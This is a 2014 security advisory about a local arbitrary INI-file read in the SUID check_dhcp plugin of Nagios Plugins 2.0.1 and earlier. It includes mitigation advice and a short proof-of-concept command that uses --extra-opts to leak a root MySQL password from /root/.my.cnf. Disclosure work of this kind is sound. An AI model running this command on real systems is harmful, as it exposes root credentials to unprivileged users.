check_dhcp - Nagios Plugins <= 2.0.1 - Arbitrary Option File

[M.cod3r]

=============================================
- Release date: 15.05.2014
- Discovered by: Dawid Golunski
- Severity: Moderate
=============================================


I. VULNERABILITY
-------------------------

check_dhcp - Nagios Plugins <= 2.0.1 Arbitrary Option File Read  


II. BACKGROUND
-------------------------

"Nagios is an open source computer system monitoring, network monitoring and 
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services. 
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.

Nagios Plugins (Official)

The Nagios Plugins Development Team maintains a bundle of more than fifty 
standard plugins for Nagios and other monitoring applications that use the 
straightforward plugin interface originally invented by the Nagios folks. 
Each plugin is a stand-alone command line tool that provides a specific type 
of check. Typically, your monitoring software runs these plugins to determine
the current status of hosts and services on your network.

Some of the provided plugins let you check local system metrics (such as load 
averages, processes, or disk space usage), others use various network protocols
 (such as ICMP, SNMP, or HTTP) to perform remote checks. 
This allows for checking a large number of common host and service types. 


* check_dhcp plugin

This plugin tests the availability of DHCP servers on a network."

III. INTRODUCTION
-------------------------

check_dhcp plugin that is a part of the official Nagios Plugins package contains 
a vulnerability that allows a malicious attacker to read parts of INI
config files belonging to root on a local system. It could allow an attacker
to obtain sensitive information like passwords that should only be accessible 
by root user.

The vulnerability is due to check_dhcp plugin having Root SUID permissions and
inappropriate access control when reading user provided config file.

IV. DESCRIPTION
-------------------------


check_dhcp requires a root SUID permission on the program binary file in order to run
correctly. Default installation of check_dhcp when installed from sources assigns
the setuid bit automatically on the file:

# ./configure ; make ; make install

# ls -l /usr/local/nagios/libexec/check_dhcp
-r-sr-xr-x 1 root root 171188 May 12 23:26 /usr/local/nagios/libexec/check_dhcp


As we can see in the provided help the plugin allows for reading options from a
supplied config file by using --extra-opts option:

# /usr/local/nagios/libexec/check_dhcp --help                                    
check_dhcp v2.0.1 (nagios-plugins 2.0.1)
...
Usage:
 check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout]
                  [-i interface] [-m mac]

Options:
...
 --extra-opts=[section][@file]
    Read options from an ini file. See
    https://www.nagios-plugins.org/doc/extra-opts.html
    for usage and examples.


The option could be used to read parts of any INI format config files
available on the system.  Because check_dhcp is running as root (thanks 
to SETUID bit) and does not drop the root privileges when accessing the 
config file nor does it check if a given file should be accessible by the 
user executing it any root ini-config file can be accessed this way by an 
unprivileged user on the local system. 

Ironically, the extra-opts.html document states
"The initial use case for this functionality is for hiding passwords, so
you do not have to define sensitive credentials in the Nagios configuration
and these options won't appear in the command line."


V. PROOF OF CONCEPT
-------------------------

A good example of a program that stores configuration in INI format is MySQL. 
Administrators often save mysql credentials in /root/.my.cnf to avoid having 
to type them each time when running a mysql client. Storing mysql passwords in
a config file is also suggested for safety in MySQL docs : 
http://dev.mysql.com/doc/refman/5.7/en/password-security-user.html

An example mysql config file could look like this:

# cat /root/.my.cnf 
[mysqldump]
quick

[mysql]
# saved password for the mysql root user
password=myRootSecretMysqlPass123


If an unprivileged attacker had access to a system containing SUID binary of
check_dhcp plugin he could easily use it to retrieve the password contained 
in /root/.my.cnf file:

[attacker@localhost ~]$ id
uid=500(attacker) gid=500(attacker) groups=500(attacker)

[attacker@localhost ~]$ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf
/usr/local/nagios/libexec/check_dhcp: unrecognized option '--password=myRootSecretMysqlPass123'
Usage:
 check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout]
                  [-i interface] [-m mac]


As we can see the contents of the 'mysql' section of /root/.my.cnf option 
file gets printed  as a part of the error message revealing its contents to 
the attacker. 



VI. BUSINESS IMPACT
-------------------------

Malicious user that has local access to a system where check_dhcp plugin is 
installed with SUID could exploit  this vulnerability to read any INI format 
config files owned by root and  potentially extract some sensitive information.

VII. SYSTEMS AFFECTED
-------------------------

Systems with check_dhcp SUID binary installed as a part of Nagios Plugins 2.0.1 or older
are vulnerable.

VIII. SOLUTION
-------------------------

Remove SETUID permission bit from the check_dhcp binary file if the plugin is not used.
Vendor has been informed about the vulnerability prior to release of this advisory. 
Install a newer version of the plugin when released by vendor.

IX. REFERENCES
-------------------------

http://exchange.nagios.org/directory/Plugins/*-Plugin-Packages/Nagios-Plugins-%28Official%29/details
http://www.nagios-plugins.org/download/nagios-plugins-2.0.1.tar.gz
https://nagios-plugins.org/doc/extra-opts.html
http://en.wikipedia.org/wiki/Setuid
http://en.wikipedia.org/wiki/INI_file
http://dev.mysql.com/doc/refman/5.7/en/password-security-user.html

http://legalhackers.com/advisories/nagios-check_dhcp.txt 

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------

May 12th, 2014:  Advisory created

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.